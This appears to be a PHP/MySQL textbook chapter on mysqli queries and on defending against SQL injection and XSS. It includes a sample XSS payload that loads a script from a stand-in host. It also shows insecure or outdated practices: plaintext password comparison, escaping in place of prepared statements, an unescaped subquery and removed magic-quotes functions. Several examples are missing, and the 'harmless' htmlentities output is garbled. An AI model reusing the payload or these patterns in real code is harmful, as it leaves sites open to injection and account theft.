The Process

The process of using MySQL with PHP is as follows:

1. Connect to MySQL and select the database to use.

2. Prepare a query string.

3. Perform the query.

4. Retrieve the results and output them to a web page.

5. Repeat steps 2 to 4 until all desired data has been retrieved.

6. Disconnect from MySQL.

We’ll work through these steps in turn, but first it’s important to set up your login details in a secure manner so people snooping around on your system have trouble getting access to your database.

Creating a Login File

Most websites developed with PHP contain multiple program files that will require access to MySQL and will thus need the login and password details. Therefore, it’s sensible to create a single file to store these and then include that file wherever it’s needed. Example 10-1 shows such a file, which I’ve called login.php.

<?php // login.php
  $hn = 'localhost';
  $db = 'publications';
  $un = 'username';
  $pw = 'password';
?>

Type the example, replacing username and password with the values you use for your MySQL database, and save it to the document root directory you set up in Chapter 2. We’ll be making use of the file shortly.

The hostname localhost should work as long as you’re using a MySQL database on your local system, and the database publications should work if you’re typing the examples I’ve used so far.

The enclosing <?php and ?> tags are especially important for the login.php file in Example 10-1, because they mean that the lines between can be interpreted only as PHP code. If you were to leave them out and someone were to call up the file directly from your website, it would display as text and reveal your secrets. But, with the tags in place, all that person will see is a blank page. The file will correctly include your other PHP files.

The $hn variable will tell PHP which computer to use when connecting to a database. This is required because you can access MySQL databases on any computer connected to your PHP installation, and that potentially includes any host anywhere on the web. However, the examples in this chapter will be working on the local server. So, in place of specifying a domain such as mysql.myserver.com, you can just use the word localhost (or the IP address 127.0.0.1).

The database we’ll be using, $db, is the one called publications that we created in Chapter 8 (if you’re using a different database—one provided by your server administrator—you’ll have to modify login.php accordingly).

Connecting to a MySQL Database

Now that you have saved the login.php file, you can include it in any PHP files that will need to access the database by using the require_once statement. This is preferable to an include statement, as it will generate a fatal error if the file is not found—and believe me, not finding the file containing the login details to your database is a fatal error.

Also, using require_once instead of require means that the file will be read in only when it has not previously been included, which prevents wasteful duplicate disk accesses. Example 10-2 shows the code to use.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");
?>

This example creates a new object called $conn by calling a new instance of the mysqli method, passing all the values retrieved from the login.php file. We achieve error checking by referencing the $conn->connect_error property.

The -> operator indicates that the item on the right is a property or method of the object on the left. In this case, if connect_error has a value, there was an error, so we call the die function to terminate the program.

The $conn object is used in the following examples to access the MySQL database.

function mysql_fatal_error()
{
    echo <<< _END
We are sorry, but it was not possible to complete
the requested task. The error message we got was:

    <p>Fatal Error</p>

Please click the back button on your browser
and try again. If you are still having problems,
please <a href="mailto:admin@server.com">email
our administrator</a>. Thank you.
_END;
}

<?php
  $query  = "SELECT * FROM classics";
  $result = $conn->query($query);
  if (!$result) die("Fatal Error");
?>

Fetching a result

Once you have an object returned in $result, you can use it to extract the data you want, one item at a time, using the fetch_assoc method of the object. Example 10-4 combines and extends the previous examples into a program that you can run yourself to retrieve the results (as depicted in Figure 10-1). Type this script in and save it using the filename query-mysqli.php, or download it from the companion website.

Example 10-4. Fetching results one cell at a time

<?php // query-mysqli.php
  require_once 'login.php';
  $connection = new mysqli($hn, $un, $pw, $db);

  if ($connection->connect_error) die("Fatal Error");

  $query  = "SELECT * FROM classics";
  $result = $connection->query($query);

  if (!$result) die("Fatal Error");

  $rows = $result->num_rows;

  for ($j = 0 ; $j < $rows ; ++$j)
  {
    $result->data_seek($j);
    echo 'Author: '  .htmlspecialchars($result->fetch_assoc()['author'])  .'<br>';
    $result->data_seek($j);
    echo 'Title: '   .htmlspecialchars($result->fetch_assoc()['title'])   .'<br>';
    $result->data_seek($j);
    echo 'Category: '.htmlspecialchars($result->fetch_assoc()['category']).'<br>';
    $result->data_seek($j);
    echo 'Year: '    .htmlspecialchars($result->fetch_assoc()['year'])    .'<br>';
    $result->data_seek($j);
    echo 'ISBN: '    .htmlspecialchars($result->fetch_assoc()['isbn'])    .'<br><br>';
  }

  $result->close();
  $connection->close();
?>

Figure 10-1. The output from the query-mysqli.php program in Example 10-4

Here, each time around the loop, we call the fetch_assoc method to retrieve the value stored in each cell, and output the result using echo statements.

Note

When displaying data in a browser the source of which was (or may have been) user input, there’s always a risk of sneaky HTML characters being embedded within it—even if you believe it to have been previously sanitized—which could potentially be used for a cross-site scripting (XSS) attack. The simple way to prevent this possibility is to embed all such output within a call to the function htmlspecialchars, which replaces all such characters with harmless HTML entities. This technique was implemented in the preceding example and will be used in many of the following examples.

You will probably agree that all this multiple seeking and so forth is rather cumbersome, and that there ought to be a more efficient method of achieving the same result. And, indeed, there is a better method, which is to extract a row at a time.

Note

In Chapter 9, I talked about First, Second, and Third Normal Form. You may have noticed that the classics table doesn’t satisfy these, because both author and book details are included within the same table. That’s because we created this table before encountering normalization. However, for the purposes of illustrating access to MySQL from PHP, reusing this table avoids the hassle of typing in a new set of test data, so we’ll stick with it for the time being.

<?php // fetchrow.php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "SELECT * FROM classics";
  $result = $conn->query($query);
  if (!$result) die("Fatal Error");

  $rows = $result->num_rows;

  for ($j = 0 ; $j < $rows ; ++$j)
  {
    $row = $result->fetch_array(MYSQLI_ASSOC);

    echo 'Author: '   . htmlspecialchars($row['author'])   . '<br>';
    echo 'Title: '    . htmlspecialchars($row['title'])    . '<br>';
    echo 'Category: ' . htmlspecialchars($row['category']) . '<br>';
    echo 'Year: '     . htmlspecialchars($row['year'])     . '<br>';
    echo 'ISBN: '     . htmlspecialchars($row['isbn'])     . '<br><br>';
  }

  $result->close();
  $conn->close();
?>

$result->close();
$conn->close();

The $_POST Array

I mentioned in an earlier chapter that a browser sends user input through either a GET request or a POST request. The POST request is usually preferred (because it avoids placing unsightly data in the browser’s address bar), and so we use it here. The web server bundles up all of the user input (even if the form was filled out with a hundred fields) and puts in into an array named $_POST.

$_POST is an associative array, which you encountered in Chapter 6. Depending on whether a form has been set to use the POST or the GET method, either the $_POST or the $_GET associative array will be populated with the form data. They can both be read in exactly the same way.

Each field has an element in the array named after that field. So, if a form contains a field named isbn, the $_POST array contains an element keyed by the word isbn. The PHP program can read that field by referring to either $_POST['isbn'] or $_POST["isbn"] (single and double quotes have the same effect in this case).

If the $_POST syntax still seems complex to you, rest assured that you can just use the convention I’ve shown in Example 10-6, copy the user’s input to other variables, and forget about $_POST after that. This is normal in PHP programs: they retrieve all the fields from $_POST at the beginning of the program and then ignore it.

So, back to the get_post function, which passes each item it retrieves through the real_escape_string method of the connection object to escape any quotes that a hacker may have inserted in order to break into or alter your database, like this:

function get_post($conn, $var)
{
  return $conn->real_escape_string($_POST[$var]);
}

Deleting a Record

Prior to checking whether new data has been posted, the program checks whether the variable $_POST['delete'] has a value. If so, the user has clicked the DELETE RECORD button to erase a record. In this case, the value of $isbn will also have been posted.

As you’ll recall, the ISBN uniquely identifies each record. The HTML form appends the ISBN to the DELETE FROM query string created in the variable $query, which is then passed to the query method of the $conn object to issue it to MySQL.

If $_POST['delete'] is not set (and so there is no record to be deleted), $_POST['author'] and other posted values are checked. If they have all been given values, $query is set to an INSERT INTO command, followed by the five values to be inserted. The string is then passed to the query method, which upon completion returns either TRUE or FALSE. If FALSE is returned an error message is displayed, like this:

if (!$result) echo "INSERT failed<br><br>";

Displaying the Form

Before displaying the little form (as shown in Figure 10-2), the program sanitizes copies of the elements we will be outputting from the $row array into the variables $r0 through $r4 by passing them to the htmlspecialchars function, to replace any potentially dangerous HTML characters with harmless HTML entities.

Then the part of code that displays the output follows, using an echo <<<_END..._END structure as seen in previous chapters, which outputs everything between the _END tags.

The HTML form section simply sets the form’s action to sqltest.php. This means that when the form is submitted, the contents of the form fields will be sent to the file sqltest.php, which is the program itself. The form is also set up to send the fields as a POST rather than a GET request. This is because GET requests are appended to the URL being submitted and can look messy in your browser. They also allow users to easily modify submissions and try to hack your server (although that can also be achieved with in-browser developer tools). Additionally, avoiding GET requests prevents too much information appearing in server log files. Therefore, whenever possible, you should use POST submissions, which also have the benefit of revealing less posted data.

Having output the form fields, the HTML displays a submit button with the name ADD RECORD and closes the form. Note the <pre> and </pre> tags here, which have been used to force a monospaced font that lines up all the inputs neatly. The carriage returns at the end of each line are also output when inside <pre> tags.

Querying the Database

Next, the code returns to the familiar territory of Example 10-5, where a query is sent to MySQL asking to see all the records in the classics table, like this:

$query  = "SELECT * FROM classics";
$result = $conn->query($query);

After that, $rows is set to a value representing the number of rows in the table:

$rows = $result->num_rows;

Using the value in $rows, a for loop is then entered to display the contents of each row. Then the program populates the array $row with a row of results by calling the fetch_array method of $result, passing it the constant value MYSQLI_NUM, which forces the return of a numeric (rather than associative) array, like this:

$row = $result->fetch_array(MYSQLI_NUM);

With the data in $row, it’s now a simple matter to display it within the heredoc echo statement that follows, in which I have chosen to use a <pre> tag to line up the display of each record in a pleasing manner.

After the display of each record, there is a second form that also posts to sqltest.php (the program itself) but this time contains two hidden fields: delete and isbn. The delete field is set to yes and isbn to the value held in $row[4], which contains the ISBN for the record.

Then a submit button with the name DELETE RECORD is displayed, and the form is closed. A curly brace then completes the for loop, which will continue until all records have been displayed, at which time the $result and $conn object’s close methods are closed to release resources back to PHP:

$result->close();
$conn->close();

Finally, you see the definition for the function get_post, which we’ve already looked at. And that’s it—our first PHP program to manipulate a MySQL database. So, let’s check out what it can do.

Once you have typed the program (and corrected any typing errors), try entering the following data into the various input fields to add a new record for the book Moby Dick to the database:

Herman Melville
Moby Dick
Fiction
1851
9780199535729

Running the Program

When you have submitted this data using the ADD RECORD button, scroll down to the bottom of the web page to see the new addition. It should look like Figure 10-3.

Figure 10-3. The result of adding Moby Dick to the database

Now let’s look at how deleting a record works by creating a dummy record. Try entering just the number 1 in each of the five fields and clicking the ADD RECORD button. If you now scroll down, you’ll see a new record consisting just of 1s. Obviously, this record isn’t useful in this table, so now click the DELETE RECORD button and scroll down again to confirm that the record has been deleted.

Creating a Table

Let’s assume that you are working for a wildlife park and need to create a database to hold details about all the types of cats it houses. You are told that there are nine families of cats—Lion, Tiger, Jaguar, Leopard, Cougar, Cheetah, Lynx, Caracal, and Domestic—so you’ll need a column for that. Then each cat has been given a name, so that’s another column, and you also want to keep track of their ages, which is another. Of course, you will probably need more columns later, perhaps to hold dietary requirements, inoculations, and other details, but for now that’s enough to get going. A unique identifier is also needed for each animal, so you also decide to create a column for that called id.

Example 10-7 shows the code you might use to create a MySQL table to hold this data, with the main query assignment in bold text.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query = "CREATE TABLE cats (
    id SMALLINT NOT NULL AUTO_INCREMENT,
    family VARCHAR(32) NOT NULL,
    name VARCHAR(32) NOT NULL,
    age TINYINT NOT NULL,
    PRIMARY KEY (id)
  )";

  $result = $conn->query($query);
  if (!$result) die ("Database access failed");
?>

As you can see, the MySQL query looks just like what you would type directly at the command line, except without the trailing semicolon.

Describing a Table

When you aren’t logged into the MySQL command line, here’s a handy piece of code that you can use to verify that a table has been correctly created from inside a browser. It simply issues the query DESCRIBE cats and then outputs an HTML table with four headings—Column, Type, Null, and Key—underneath which all columns within the table are shown. To use it with other tables, simply replace the name cats in the query with that of the new table (see Example 10-8).

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "DESCRIBE cats";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");

  $rows = $result->num_rows;

  echo "<table><tr><th>Column</th><th>Type</th><th>Null</th><th>Key</th></tr>";

  for ($j = 0 ; $j < $rows ; ++$j)
  {
    $row = $result->fetch_array(MYSQLI_NUM);

    echo "<tr>";
    for ($k = 0 ; $k < 4 ; ++$k)
      echo "<td>" . htmlspecialchars($row[$k]) . "</td>";
    echo "</tr>";
  }

  echo "</table>";
?>

The output from the program should look like this:

Column Type        Null Key
id     smallint(6) NO   PRI
family varchar(32) NO
name   varchar(32) NO
age    tinyint(4)  NO

Dropping a Table

Dropping a table is very easy to do and is therefore very dangerous, so be careful. Example 10-9 shows the code that you need. However, I don’t recommend that you try it until you have been through the other examples (up to “Performing Additional Queries”), as it will drop the table cats and you’ll have to re-create it using Example 10-7.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "DROP TABLE cats";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");
?>

Adding Data

Let’s add some data to the table now, using the code in Example 10-10.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "INSERT INTO cats VALUES(NULL, 'Lion', 'Leo', 4)";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");
?>

You may wish to add a couple more items of data by modifying $query as follows and calling up the program in your browser again:

$query = "INSERT INTO cats VALUES(NULL, 'Cougar', 'Growler', 2)";
$query = "INSERT INTO cats VALUES(NULL, 'Cheetah', 'Charly', 3)";

By the way, notice the NULL value passed as the first parameter? This is because the id column is of type AUTO_INCREMENT, and MySQL will decide what value to assign according to the next available number in sequence. So, we simply pass a NULL value, which will be ignored.

Of course, the most efficient way to populate MySQL with data is to create an array and insert the data with a single query.

Retrieving Data

Now that some data has been entered into the cats table, Example 10-11 shows how you can check that it was correctly inserted.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "SELECT * FROM cats";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");

  $rows = $result->num_rows;
  echo "<table><tr> <th>Id</th> <th>Family</th><th>Name</th><th>Age</th></tr>";

  for ($j = 0 ; $j < $rows ; ++$j)
  {
    $row = $result->fetch_array(MYSQLI_NUM);

    echo "<tr>";
    for ($k = 0 ; $k < 4 ; ++$k)
      echo "<td>" . htmlspecialchars($row[$k]) . "</td>";
    echo "</tr>";
  }

  echo "</table>";
?>

This code simply issues the MySQL query SELECT * FROM cats and then displays all the rows returned. Its output is as follows:

Id Family  Name    Age
1  Lion    Leo     4
2  Cougar  Growler 2
3  Cheetah Charly  3

Here you can see that the id column has correctly auto-incremented.

Updating Data

Changing data that you have already inserted is also quite simple. Did you notice the spelling of Charly for the cheetah’s name? Let’s correct that to Charlie, as in Example 10-12.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "UPDATE cats SET name='Charlie' WHERE name='Charly'";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");
?>

If you run Example 10-11 again, you’ll see that it now outputs the following:

Id Family  Name    Age
1  Lion    Leo     4
2  Cougar  Growler 2
3  Cheetah Charlie 3

Deleting Data

Growler the cougar has been transferred to another zoo, so it’s time to remove him from the database; see Example 10-13.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "DELETE FROM cats WHERE name='Growler'";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");
?>

This uses a standard DELETE FROM query, and when you run Example 10-11, you can see that the row has been removed in the following output:

Id Family  Name    Age
1  Lion    Leo     4
3  Cheetah Charlie 3

Using AUTO_INCREMENT

When using AUTO_INCREMENT, you cannot know what value has been given to a column before a row is inserted. Instead, if you need to know it, you must ask MySQL afterward using the mysql_insert_id function. This need is common: for instance, when you process a purchase, you might insert a new customer into a Customers table and then refer to the newly created CustId when inserting a purchase into the Purchases table.

Example 10-10 can be rewritten as Example 10-14 to display this value after each insert.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");

  echo "The Insert ID was: " . $conn->insert_id;
?>

The contents of the table should now look like the following (note how the previous id value of 2 is not reused, as this could cause complications in some instances):

Id Family  Name    Age
1  Lion    Leo     4
3  Cheetah Charlie 3
4  Lynx    Stumpy  5

$query    = "INSERT INTO cats VALUES(NULL, 'Lynx', 'Stumpy', 5)";
$result   = $conn->query($query);
$insertID = $conn->insert_id;

$query    = "INSERT INTO owners VALUES($insertID, 'Ann', 'Smith')";
$result   = $conn->query($query);

Performing Additional Queries

Okay, that’s enough feline fun. To explore some slightly more complex queries, we need to revert to using the customers and classics tables that you created in Chapter 8. There will be two customers in the customers table; the classics table holds the details of a few books. They also share a common column of ISBNs, called isbn, that you can use to perform additional queries.

For example, to display all of the customers along with the titles and authors of the books they have bought, you can use the code in Example 10-15.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $query  = "SELECT * FROM customers";
  $result = $conn->query($query);
  if (!$result) die ("Database access failed");

  $rows = $result->num_rows;

  for ($j = 0 ; $j < $rows ; ++$j)
  {
    $row = $result->fetch_array(MYSQLI_NUM);
    echo htmlspecialchars($row[0]) . " purchased ISBN " .
         htmlspecialchars($row[1]) . ":<br>";

    $subquery  = "SELECT * FROM classics WHERE isbn='$row[1]'";
    $subresult = $conn->query($subquery);
    if (!$subresult) die ("Database access failed");

    $subrow = $subresult->fetch_array(MYSQLI_NUM);
    echo "&nbsp;&nbsp;" . htmlspecialchars("'$subrow[1]'") . " by " .
                          htmlspecialchars(  $subrow[0])   . "<br><br>";
  }
?>

This program uses an initial query to the customers table to look up all the customers and then, given the ISBNs of the books each customer purchased, makes a new query to the classics table to find out the title and author for each. The output from this code should be similar to the following:

Joe Bloggs purchased ISBN 9780099533474:
  'The Old Curiosity Shop' by Charles Dickens

Jack Wilson purchased ISBN 9780517123201:
  'The Origin of Species' by Charles Darwin

Mary Smith purchased ISBN 9780582506206:
  'Pride and Prejudice' by Jane Austen​

SELECT name,isbn,title,author FROM customers
 NATURAL JOIN classics;

Steps You Can Take

The first thing is not to rely on PHP’s built-in magic quotes, which automatically escape any characters such as single and double quotes by prefacing them with a backslash (\). Why? Because this feature can be turned off. Many programmers do so in order to put their own security code in place, and there is no guarantee that this hasn’t happened on the server you are working on. In fact, the feature was deprecated as of PHP 5.3.0 and removed in PHP 5.4.0.

Instead, you should always use the real_escape_string method for all calls to MySQL. Example 10-16 is a function you can use that will remove any magic quotes added to a user-inputted string and then properly sanitize it for you.

<?php
  function mysql_fix_string($conn, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $conn->real_escape_string($string);
  }
?>

The get_magic_quotes_gpc function returns TRUE if magic quotes are active. In that case, any slashes that have been added to a string have to be removed, or the real_escape_string method could end up double-escaping some characters, creating corrupted strings. Example 10-17 illustrates how you would incorporate mysql_fix_string within your own code.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $user  = mysql_fix_string($conn, $_POST['user']);
  $pass  = mysql_fix_string($conn, $_POST['pass']);
  $query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";

  // Etc.

  function mysql_fix_string($conn, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $conn->real_escape_string($string);
  }
?>

Preventing HTML Injection

There’s another type of injection you need to concern yourself about—not for the safety of your own websites, but for your users’ privacy and protection. That’s cross-site scripting, also referred to as an XSS attack.

This occurs when you allow HTML or, more often, JavaScript code to be input by a user and then displayed by your website. One place this is common is in a comment form. What happens most often is that a malicious user will try to write code that steals cookies from your site’s users, which sometimes even allows them to discover username and password pairs if those are poorly handled, or other information that could enable session hijacking (in which a user’s login is taken over by a hacker, who could then take over that person’s account!). Or the malicious user might launch an attack to download a Trojan onto a user’s computer.

But preventing this is as simple as calling the htmlentities function, which strips out all HTML markup and replaces it with a form that displays the characters, but does not allow a browser to act on them. For example, consider this HTML:

<script src='http://x.com/hack.js'>
</script><script>hack();</script>

This code loads in a JavaScript program and then executes malicious functions. But if it is first passed through htmlentities, it will be turned into the following totally harmless string:

<script src='http://x.com/hack.js'> </script>
<script>hack();</script>

Therefore, if you are ever going to display anything that your users enter, either immediately or after storing it in a database, you need to first sanitize it using the htmlentities function. To do this, I recommend that you create a new function, like the first one in Example 10-20, which can sanitize for both SQL and XSS injections.

<?php
  function mysql_entities_fix_string($conn, $string)
  {
    return htmlentities(mysql_fix_string($conn, $string));
  }

  function mysql_fix_string($conn, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $conn->real_escape_string($string);
  }
?>

The mysql_entities_fix_string function first calls mysql_fix_string and then passes the result through htmlentities before returning the fully sanitized string. To use either of these functions, you must already have an active connection object open to a MySQL database.

Example 10-21 shows the new “higher protection” version of Example 10-17.

<?php
  require_once 'login.php';
  $conn = new mysqli($hn, $un, $pw, $db);
  if ($conn->connect_error) die("Fatal Error");

  $user  = mysql_entities_fix_string($conn, $_POST['user']);
  $pass  = mysql_entities_fix_string($conn, $_POST['pass']);
  $query = "SELECT * FROM users WHERE user='$user' AND pass='$pass'";

  // Etc.

  function mysql_entities_fix_string($conn, $string)
  {
    return htmlentities(mysql_fix_string($conn, $string));
  }

  function mysql_fix_string($conn, $string)
  {
    if (get_magic_quotes_gpc()) $string = stripslashes($string);
    return $conn->real_escape_string($string);
  }
?>